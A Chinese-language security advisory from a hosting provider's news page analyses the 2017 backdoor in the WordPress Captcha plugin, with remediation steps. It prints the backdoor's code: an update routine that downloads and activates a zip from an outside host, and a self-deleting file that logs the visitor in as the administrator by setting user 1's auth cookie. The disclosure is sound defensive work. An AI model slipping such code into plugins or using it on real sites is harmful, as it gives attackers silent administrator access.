新闻中心
wordpress官方插件Captcha惊现后门!
作者 / 无忧主机 时间 2017-12-29 16:53:02
captcha是wordpress的官方插件,用于验证码,据说这个后门是偶然被发现的,是因为含后门版本的作者对使用wordpress商标的问题,接着wordpress把captcha下架,继而wordfence(为wordpress提供waf的厂商)检查发现插件后门。
这个后门是更新触发,从4.3.6版本开始(本人安装的版本)就有后门,执行插件更新就会加入后门代码。这个后门利用userID(admin)创建会话,设置认证cookie,接着删除痕迹,后门是管理员权限,但是由于执行了unlink(__FILE__),所以只能被用一次。
目前这款插件有300000+活跃安装,影响范围非常大,后门首次发现在12月4日的4.3.6版本,官方在12月20日删除该后门,所以4日到20日更新该插件的用户都必然被植入了后门。
受影响的插件版本:4.3.6~4.4.4
这个后门影响范围还是比较广的,中招的用户应赶紧排查更新!
后门分析
这里利用12月4日的4.3.6版本的源码分析 https://plugins.trac.wordpress.org/changeset/1780758/captcha Captcha.php: 首先看看cptch_wp_plugin_auto_update()函数,由函数名可以看出这是自动更新功能,其中$wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';请求这个文件会下载zip对该插件更新,但是本人访问已经空白无下载(20171222)。

if(isset($_GET['captcha']) and $_GET['captcha'] == 'updateplugin') { add_action('init', 'cptch_wp_plugin_auto_update'); }表示点击更新则调用cptch_wp_plugin_auto_update()函数。 看看8390行
new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);继续跟进 cptch_wp_auto_update 这个类看看。 cptch_wp_auto_update.php: 赋值后进入 if( $this->cptch_check_update()) 执行更新 那就来到cptch_check_update()函数看看 关键代码:
$url = $this->update_path; // Local Zip File Path curl_setopt($ch, CURLOPT_URL, $url); $page = curl_exec($ch);这个url就是https://simplywordpress.net/captcha/captcha_pro_update.php下载更新的插件zip。 接着解压更新 activate_plugins($my_plugin); 更新的zip内存在后门文件 plugin-update.php: 关键代码:
@unlink(__FILE__); require('../../../wp-blog-header.php'); require('../../../wp-includes/pluggable.php'); $user_info = get_userdata(1); // Automatic login // $username = $user_info->user_login; $user = get_user_by('login', $username ); // Redirect URL // if ( !is_wp_error( $user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( $user->ID ); wp_set_auth_cookie ( $user->ID ); $redirect_to = user_admin_url(); wp_safe_redirect( $redirect_to ); exit(); }Unlink(__FILE__): 删除自己 Get_userdata(1): 获取管理员信息 Wp_clear_auth_cookie(): 移除关联认证的cookie Wp_set_current_user(): 改变当前用户 Wp_set_auth_cookie(): 根据userID设置认证cookie 接着攻击者就以管理员进入后台。
修复方案
1.删除后门文件plugin-update.php。 2.查看captcha.php是否有后门链接,有则手动删除插件再安装最新版本。 3.更新到最新版本。本文地址:https://www.51php.com/safety/25859.html
上一篇: ECTouch在菜单栏中添加QQ客服
下一篇: phpbb后台功能介绍–管理举报和封禁的原因






